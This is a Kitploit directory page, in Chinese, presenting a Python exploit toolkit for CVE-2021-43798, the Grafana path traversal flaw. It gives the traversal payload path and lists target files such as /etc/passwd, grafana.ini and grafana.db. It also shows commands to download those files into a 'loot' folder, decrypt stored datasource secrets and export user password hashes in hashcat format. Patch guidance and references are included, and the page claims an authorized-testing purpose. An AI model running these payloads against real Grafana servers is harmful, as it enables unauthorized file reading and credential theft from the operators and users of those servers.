Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-43798 — Python工具包,用于对CVE-2021-43798 Grafana路径遍历漏洞进行授权测试,包含任意文件读取PoC、密钥解密以及用户哈希导出,适用于安全评估。 | Kitploit
工具/GitHubGitHub/okymi-x/cve-2021-43798
密码破解加密/解密工具漏洞分析漏洞利用Web应用程序漏洞利用信息收集
GitHubokymi-x/cve-2021-43798

CVE-2021-43798

Python工具包,用于对CVE-2021-43798 Grafana路径遍历漏洞进行授权测试,包含任意文件读取PoC、密钥解密以及用户哈希导出,适用于安全评估。

查看仓库
33个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-43798 - Grafana 任意文件读取

用于 CVE-2021-43798 授权测试的 Python 工具包,该漏洞为 Grafana 路径遍历漏洞,可通过插件资产路径实现未经认证的任意文件读取。

本仓库包含:

  • grafana_poc.py:交互式任意文件读取 PoC,可将下载的文件保存到本地。
  • grafana_pass_decryptor.py:辅助工具,用于在拥有 grafana.ini 和/或 secret_key 时解密 Grafana 加密的数据源密钥,并从 grafana.db 导出 Grafana 用户密码哈希。

警告

请仅在您拥有、操作或已获得明确书面授权进行测试的系统上使用本项目。未经授权的利用可能导致敏感文件、凭据、私钥、数据库内容及用户密码哈希的泄露。

漏洞摘要

CVE-2021-43798 影响 Grafana 版本 8.0.0-beta1 至 8.3.0。已修复的版本为 8.3.1、8.2.7、8.1.8 和 8.0.7。

该漏洞可通过插件资产路由利用,例如:

root@kitploit:~
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>

授权验证期间常请求的文件包括:

root@kitploit:~
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline

访问权限取决于 Grafana 进程的操作系统权限。

环境要求

  • Python 3.10+
  • requests
  • pycryptodome 或 cryptography(用于密钥解密)

安装依赖:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

使用指南

1. 使用 PoC 读取文件

针对授权目标运行交互式 PoC:

root@kitploit:~
python3 grafana_poc.py -H http://target:3000 -o loot

在提示符下输入绝对路径:

root@kitploit:~
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit

下载的文件将保存到输出目录中,同时保留远程路径的安全版本,例如:

root@kitploit:~
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db

2. 解密 Grafana 密钥

如果您同时拥有 grafana.ini 和 grafana.db,解密工具可以从配置文件中读取 secret_key 并尝试解密加密的数据源、告警通知和插件密钥:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db

手动解密单个加密 blob:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --secret-key SW2YcwTIb9zpOOhoPsMm \
  --blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

输出换行分隔的 JSON:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --json

3. 导出用户哈希

Grafana 用户密码不是加密密钥,而是加盐的 PBKDF2 哈希。从 user 表中导出它们:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --users

仅导出 hashcat 模式 10900 的行:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --db loot/var/lib/grafana/grafana.db \
  --users \
  --hashcat > hashes.txt

修复建议

将 Grafana 升级至已修复版本:

  • 8.3.1 或更高版本(针对 8.3 分支)
  • 8.2.7 或更高版本(针对 8.2 分支)
  • 8.1.8 或更高版本(针对 8.1 分支)
  • 8.0.7 或更高版本(针对 8.0 分支)

如果无法立即升级,Grafana 建议在 Grafana 前端放置一个反向代理,以规范化请求路径,从而缓解路径遍历行为。请将其视为临时控制措施,而非补丁的替代品。

参考

  • Exploit-DB 50581:https://www.exploit-db.com/exploits/50581
  • jas502n 参考仓库:https://github.com/jas502n/Grafana-CVE-2021-43798
  • Grafana 安全公告 GHSA-8pjx-jj86-j47p:https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
  • Grafana 关于 CVE-2021-43798 的博客文章:https://grafana.com/blog/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
  • NVD CVE 记录:https://nvd.nist.gov/vuln/detail/CVE-2021-43798

致谢

原始公开 PoC 归功于 Exploit-DB 的 s1gh。Grafana 密钥解密工作流程受 jas502n/Grafana-CVE-2021-43798 的公开研究和示例启发,本仓库提供了一个用于实验室和授权评估工作流的 Python 辅助工具。

下载工具